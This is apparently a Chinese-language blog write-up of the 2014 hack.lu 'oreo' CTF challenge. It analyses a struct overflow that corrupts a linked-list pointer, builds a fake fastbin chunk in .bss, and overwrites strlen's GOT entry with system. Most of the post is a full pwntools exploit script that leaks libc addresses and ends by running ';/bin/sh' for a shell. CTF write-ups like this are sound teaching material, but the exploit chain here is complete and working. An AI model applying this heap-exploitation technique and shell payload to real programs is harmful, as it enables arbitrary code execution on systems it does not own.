1.实例 2014 hack.lu oreo
题目分析
add函数通过一个全局单链表头指针指向结构链表:
00000000 rifle struc ; (sizeof=0x38, mappedto_5)
00000000 descript db 25 dup(?)
00000019 name db 27 dup(?)
00000034 next dd ? ; offset
00000038 rifle ends
其中name可以溢出将next覆盖
全局变量message_0指向unk_804A2C0 的描述,这个可打印,可编辑
.bss:0804A2A4 add_count dd ? ; DATA XREF: add+C5↑r
.bss:0804A2A4 ; add+CD↑w ...
.bss:0804A2A8 ; char *message_0
.bss:0804A2A8 message_0 dd ? ; DATA XREF: message+23↑r
.bss:0804A2A8 ; message+3C↑r ...
.bss:0804A2AC align 20h
.bss:0804A2C0 unk_804A2C0 db ? ;
漏洞形成:首先是单链表结构,当释放时会依次遍历next进行free,通过溢出修改next即可对指定内存进行free
漏洞利用过程:
通过覆盖next为got表就可以泄漏地址,再次通过覆盖next可以将message_0释放到fastbin中,然后再申请编辑
message_0为某函数的got,修改message_0为system函数地址即可.这里通过message_0实现了任意地址写.
构造fake chunk时,关键在于绕过:
这个实例给出了绕过例子:
# fake chunk's size is 0x40
# 0x20 *'a' for padding the last fake chunk
# 0x40 for fake chunk's next chunk's prev_size
# 0x100 for fake chunk's next chunk's size
# set fake iofle' next to be NULL
payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
内存:
.bss:0804A2A0 ordered_num dd ? 0 --->chunk head
.bss:0804A2A0 ; order+62↑w ...
.bss:0804A2A4 add_count dd ? 0x40 ---->chunk size
.bss:0804A2A4 ; add+CD↑w ...
.bss:0804A2A8 ; char *message_0
.bss:0804A2A8 message_0 dd ? ; DATA XREF: message+23↑r
.bss:0804A2A8 ; message+3C↑r ...
.bss:0804A2AC align 20h
.bss:0804A2C0 dword_804A2C0 dd ? ; DATA XREF: main+29↑o
.bss:0804A2C4 dd ? 0
.bss:0804A2C8 dd ? 0
.bss:0804A2CC dd ? 0
.bss:0804A2D0 dd ? 0
.bss:0804A2D4 dd ? 0
.bss:0804A2D8 dd ? 0
.bss:0804A2DC dd ? 0
.bss:0804A2E0 dd ? 0
.bss:0804A2E4 dd ? 0x40 next chunk head
.bss:0804A2E8 dd ? 0x100 next chunk size
由此看出,关键在于, chunk size, 和next chunk head 要=chunk size. 此外这个chunk size不能乱填,需要填释放到哪个fastbin里
的那个大小
总结: 关键在于利用了一个全局指针,它指向了另一片内存,这在堆溢出中经常遇到
system()的参数可以填充无用数据加;/bin/sh,前面指向失败,后面仍然执行/bin/sh
这种强制将某内存释放只需要绕过size检查即可
exp:
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./oreo"
oreo = ELF("./oreo")
if args['REMOTE']:
p = remote(ip, port)
else:
p = process("./oreo")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('/lib32/libc-2.23.so')
def add(descrip, name):
p.sendline('1')
#p.recvuntil('Rifle name: ')
p.sendline(name)
#p.recvuntil('Rifle description: ')
#sleep(0.5)
p.sendline(descrip)
def show_rifle():
p.sendline('2')
p.recvuntil('===================================\n')
def order():
p.sendline('3')
def message(notice):
p.sendline('4')
#p.recvuntil("Enter any notice you'd like to submit with your order: ")
p.sendline(notice)
def exp():
print 'step 1. leak libc base'
name = 27 * 'a' + p32(oreo.got['puts'])
add(25 * 'a', name)
show_rifle()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
print 'step 2. free fake chunk at 0x0804A2A8'
# now, oifle_cnt=1, we need set it = 0x40
oifle = 1
while oifle < 0x3f:
# set next link=NULL
add(25 * 'a', 'a' * 27 + p32(0))
oifle += 1
payload = 'a' * 27 + p32(0x0804a2a8)
# set next link=0x0804A2A8, try to free a fake chunk
add(25 * 'a', payload)
gdb.attach(p)
# before free, we need to bypass some check
# fake chunk's size is 0x40
# 0x20 *'a' for padding the last fake chunk
# 0x40 for fake chunk's next chunk's prev_size
# 0x100 for fake chunk's next chunk's size
# set fake iofle' next to be NULL
payload = 0x20 * '\x00' + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
message(payload)
# fastbin 0x40: 0x0804A2A0->some where heap->NULL
order()#free
p.recvuntil('Okay order submitted!\n')
print 'step 3. get shell'
# modify free@got to system addr
payload = p32(oreo.got['strlen']).ljust(20, 'a')
add(payload, 'b' * 20)
log.success('system addr: ' + hex(system_addr))
message(p32(system_addr) + ';/bin/sh\x00')#这里的message会使程序将payload作为system的参数,所以使用;将前面部分作为shell的执行失败,然后再
#执行/bin/sh
p.interactive()
if __name__ == "__main__":
exp()
网友评论